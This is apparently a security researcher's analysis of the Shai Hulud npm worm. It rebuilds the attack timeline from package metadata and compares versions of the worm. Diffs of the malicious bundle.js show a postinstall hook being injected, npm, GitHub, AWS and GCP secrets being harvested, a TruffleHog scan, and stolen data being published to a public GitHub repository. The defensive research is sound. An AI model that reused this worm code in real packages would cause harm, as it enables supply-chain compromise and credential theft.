Hello internet, it’s me again, bringing you more joyful news.
Yesterday, I took the time to sit down and really dig into the Shai Hulud payloads. And I noticed something exciting, which sent me down the rabbit hole (Or rather, wormhole) of analyzing the attack timeline more in depth. Here’s what I saw:

Do you notice how there are multiple package.json
and bundle.js
files? Yes, that’s a bug in how the Shai Hulud worm embeds itself. It wouldn’t replace the package.json
and bundle.js
; it simply added another copy of them. Not only that, but it also gives us full timestamps and the username of the local user who made the change.
We also see multiple DIFFERENT versions of the worm. This allows us to get a lot of insights into the timeline of events and how they were debugging things live. You know what that means: Time to get out our shovels and start digging.
How did the attack start?
One of the big questions we had was: What was the first compromise? How did the attackers get the worm to start spreading? It immediately became clear as we began to examine the metadata of the archives from npm. The answer was simple:
The attackers seeded a significant number of packages with the malware themselves. Most likely using NPM tokens stolen from the original Nx attack. How can we tell? From the user metadata in the archives. For those that don’t know, Kali is the name of a Linux distribution that is used by security professionals, not normal developers. But we see this fingerprint in the first 49 packages, for a total of 67 versions.
Swing and miss
The attackers didn’t succeed at first, as was evident by the fact that they released multiple versions of some packages. Let’s take a look at rxnt-authentication
, which is the first malicious package we believe was released on 2025-09-14 17:58:50 UTC (Version 0.0.3
). The picture at the start of the post is from version 0.0.6
, which was the fourth version that the attackers released. Here’s the scripts section of the first attacker-inserted package.json
:

Do you notice something odd? The capitalization of postInstall
is wrong. The i
shouldn’t be capitalized! If we do a diff of the first 2 bundle.js
files, we can see that the attackers eventually figured it out:
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}
On top of fixing this, the attackers made several more changes. I’ll do the attackers a favor and publish the changelog for them, since they didn’t include that:
🛠️ Improvements
- TruffleHog module:
- The timeout for TruggleHog was reduced from 120 seconds to 90 seconds.
- Fixed a race condition in trying to run TruffleHog before the binary was downloaded.
- Replaced a reference to stealing Azure credentials with GCP.
- Increased the number of npm packages it will infect from 10 to 20.
Clearly, the attackers had an intent to steal Azure credentials, but went with GCP instead. And they decided to double the number of packages the worm would spread into.
Another bug
At 2025-09-14 20:43:42, the attackers released another batch of packages, the first being version 0.0.4
of rxnt-authentication
with the fixed capitalization of postinstall
. We then see ~20 minutes later, at 2025-09-14 21:03:17, them also release a version 0.0.5
with an interesting change:
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
They changed their script to only insert the postinstall
script if the scripts key exists in the package.json
. It appears that the attackers were preparing to attack the ngx-bootstrap
packages, which they did on 15 Sep 2025 01:12. Here’s the package.json
:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
Notice how there are no scripts? Trying to run the worm on this package would not work. So they fixed it. And we see that the package was also modified by a kali
user:

Clearly, this package was pushed by the attackers themselves after having debugged why their worm broke when trying to infect this package.
More fixes
In version 0.0.6
of rxnt-authentication
, we see more changes (Snipped a bit for brevity).
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
Here are some patch notes:
✨ New Features
- Conditional TruffleHog Scan: You can now skip the TruffleHog filesystem scan by setting the
SKIP_TRUFFLE
environment variable.
🛠️ Improvements
- Enhanced Repository Migration: The migration script now automatically removes the
.github/workflows
directory from migrated repositories. - Default Public Repositories: The GitHub repository created to store the collected system data is now created as public by default, rather than being turned public after being created as private.
- Removed repoExists Check: The check to see if the Shai-Hulud repository already exists has been removed. The script will now attempt to create it on every run, relying on GitHub's behavior to handle cases where the repository already exists.
First community spread
Based on this analysis, the first community spread happened through the package capacitor-plugin-healthapp
version 0.0.2
on 15 Sep 2025 04:54.

It’s the first package where we see the archive has a user that’s not kali
.
How was tinycolor compromised?
The initial reporting of this campaign was heavily focused on the tinycolor package. So let’s look at it! The first malicious version of @ctrl/tinycolor
was version 4.1.1
, released on 15 Sep 2025 19:52.

But look, another kali
! This package was not compromised through community spread most likely, but by the attackers trying to seed another package to kick-start the worm.
How was CrowdStrike compromised?
Here’s the package @crowdstrike/foundry-js
version 0.19.1
, released 16 Sep 2025 01:14. Notice that the user kali
also modified this..

This indicates that the attackers had credentials for CrowdStrike and used this to seed another wave of the attack.
How was NativeScript compromised?
From talking to Daniel Pereira, who was the first to alert the community to this campaign, he became aware of it because he observed it had impacted the NativeScript ecosystem. The first package was @nativescript-community/arraybuffers
version 1.1.6
on 15 Sep 2025 09:16:

A clear case of community spread.
Major events
Here’s a timeline of significant events during the campaign.
Where do we go from here?
This Shai Hulud campaign represents a significant escalation from the original S1ngularity attack, which began with Nx. We observe the attackers making multiple attempts to fix bugs and get the worm to start propagating across the npm ecosystem. The most logical explanation we have come up with is that the attackers have been sitting on credentials they stole from the original attack, waiting to use them till the time was right.
Hence, we can observe the attackers seeding multiple rounds of attacks over the course of multiple days, as their attempt did not immediately start propagating with significant velocity. They were not happy with how slowly it was spreading, which is very lucky for us.
But it raises an uncomfortable truth: If they’ve been sitting on these credentials for several weeks, and now have even MORE credentials they have been able to steal, this is likely not the last we will see of them. For now, the worm has not yet achieved escape velocity to become truly viral.
It would be foolish to assume that the attackers used the best aces up their sleeve, in terms of the credentials they have stored in their back pocket. It’s still not clear what the incentive and motive of the attackers are, which suggests that this saga isn’t over. It seems more than likely that we’re in for a trilogy of a story that’s yet to be told. And right now, I don’t think the ending will be a happy one.